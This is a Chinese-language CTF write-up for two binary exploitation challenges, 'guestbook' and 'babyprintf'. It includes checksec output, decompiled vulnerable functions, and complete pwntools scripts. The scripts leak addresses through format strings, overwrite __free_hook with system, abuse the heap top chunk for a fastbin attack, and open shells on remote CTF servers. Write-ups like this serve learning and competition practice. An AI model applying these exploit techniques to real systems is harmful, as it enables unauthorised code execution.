guestbook
file guestbook
1
guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=798140e4e21252a80464305f38888d319890d5cd, stripped
checksec guestbookl 开有pie, got表不可改。
1
2
3
4
5Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled主要漏洞函数
snprintf参数可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned int see_E11()
{
unsigned int v1; // [esp+8h] [ebp-110h]
char s[252]; // [esp+Ch] [ebp-10Ch]
unsigned int v3; // [esp+10Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
puts("Plz input the guest index:");
v1 = read_B40() % 0xAu;
if ( *(&list_3040 + 10 * v1) )
{
memset(s, 0, 0x100u);
strcpy(s, "the name:");
snprintf(&s[9], 0xF7u, &list_3040 + 40 * v1 + 4);//列表中的内容为我们输入的内容
puts(s);
memset(s, 0, 0x100u);
strcpy(s, "the phone:");
snprintf(&s[10], 0xF6u, dword_3064[10 * v1]);
puts(s);
}
else
{
puts("Go away,hacker QAQ !");
}
return __readgsdword(0x14u) ^ v3;
}
漏洞利用(snprintf 可以将指针先输出到栈上)
- leak elf加载地址和libc加载地址。
- 利用格式串逐位修改hook函数(malloc会在add时调用,所以选择__free_hook)。
- one_gadget不满足条件,需要使用system,因此需要将被free的指针改为/bin/sh的地址。
最终脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
slocal =0
if slocal:
p = process("./guestbook",env={"LD_PRELOAD":"./libc"})
else:
p = remote('47.100.64.171',20002)# nc 47.100.64.171 20002
token = 'meLcB3PCrDZBAUsKkizIxLqVpU23NYgu'
p.recvuntil('token')
p.sendline(token)
def add(name,number):
p.recvuntil("your choice:")
p.sendline("1")
p.recvuntil("your name?")
p.sendline(name)
p.recvuntil("your phone?")
p.send(number)
def dele(idx):
p.recvuntil("your choice:")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(idx))
def see(idx):
p.recvuntil("your choice:")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
def pwn():
add('%p'*3,'1'*16)
see(0)
p.recvuntil('the name:')
elf = int(p.recvn(10),16)-0xe3a
log.info( "elf address is "+hex(elf))
libc = int(p.recvuntil('\n')[-11:-1],16 )- 0x1b2da7+0x2000
log.info("libc address is "+hex(libc))
free_hook = 0x1b18b0+libc
malloc_hook = 0x1b0768+libc
one = libc+ 0x5f065
log.info("hook address is "+hex(free_hook))
system =libc+0x3a940
log.info("one is" + hex(one))
log.info( pidof(p))
raw_input()
#one = 0xdadebeef
bin_sh = libc + 0x15900b
one = p32(system)
aa = elf+0x3064
for x in xrange(4):
a = ord(one[x])
payload = 'sh;'+p32(free_hook+x)+'%'
payload +=str(a-len(payload)+1)+'c'+'%8$hhn'
add(payload,'1'*16)
see(x+1)
print hex(bin_sh)
raw_input()
bi = p32(bin_sh)
for x in xrange(4):
a = ord(bi[x])
payload = 'AAA'+p32(aa+x)+'%'
payload +=str(a-len(payload)+1)+'c'+'%8$hhn'
add(payload,'1'*16)
see(x+5)
p.recvuntil("choice:")
p.sendline('3')
p.sendline('0')
p.interactive()
pwn()
babyprintf
file guestbook
1
babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
checksec guestbookl 开有 FORTIFY,格式串……
1
2
3
4
5
6Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled主要函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbx
unsigned int v4; // eax
sub_400950();
while ( 1 )
{
__printf_chk(1LL, "size: ");
v4 = sub_400990();
if ( v4 > 0x1000 )
break;
v3 = malloc(v4);//申请任意大小的空间,没有free只有malloc
__printf_chk(1LL, "string: ");
gets(v3);//溢出...
__printf_chk(1LL, "result: ");
__printf_chk(1LL, v3);//可以用来leak
}
puts("too long");
exit(1);
}利用sysmalloc的_int_free制作空控的空闲堆块(fastbin,smallbin不会)
- top_chunk 满足条件(不想看源码,直接看别人的总结)
- 1.大于MINSIZE(0X10)
- 2.小于所需的大小 + MINSIZE
- 3.prev inuse位设置为1
- 4.old_top + oldsize要在一个页中
- top_chunk 满足条件(不想看源码,直接看别人的总结)
- 又是我不知道的新姿势(虽然有比赛有用到,然而我并没有认真研究过top_chunk)
最后就是fastbin attack 这次one_gadget终于能用了
最终利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
slocal = 1
if slocal==1:
p = process("./babyprintf")#,env={"LD_PRELOAD":"./libc-2.24.so"})
else:
p= remote("47.100.64.113",20001)#nc 47.100.64.113 20001
token = 'meLcB3PCrDZBAUsKkizIxLqVpU23NYgu'
p.recvuntil('token')
def add(size,con):
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("string:")
p.sendline(con)
libc = ELF("./libc-2.24.so")
def pwn():
payload = '%p'*5+'AAA'+'%p'+'BBB'
add(0x1000,payload)
p.recvuntil("result: ")
p.recvuntil("AAA")
data = p.recvuntil("BBB")[:-3]
libc.address = int(data,16)-libc.symbols['__libc_start_main']
print "libc address is "+hex(libc.address)
raw_input()
for x in xrange(32):
add(0x1000,'AAA')
#add(0xd10,'AAAA')
fake_heap = 0x60101a
add(0x1000,'B'*0x1000+'b'*8+p64(0xde1))
add(0x500,'aaa')
add(0x820,'bb')
add(0x1000,'DSDDDD')
add(0xa0,'c'*0xa8+p64(0xf41))
add(0x600,'AAA')
add(0x8c0,'bbbbb')
add(0x1000,'FFF')
print pidof(p)
raw_input()
add(0x70,'A'*0x22000+'B'*8*7+p64(0x41)+p64(fake_heap))
add(0x30,'aaa')
one = 0x4557a+libc.address
payload= '/sh;AA'+p64(one)*6
add(0x30,payload)
p.interactive()
pwn()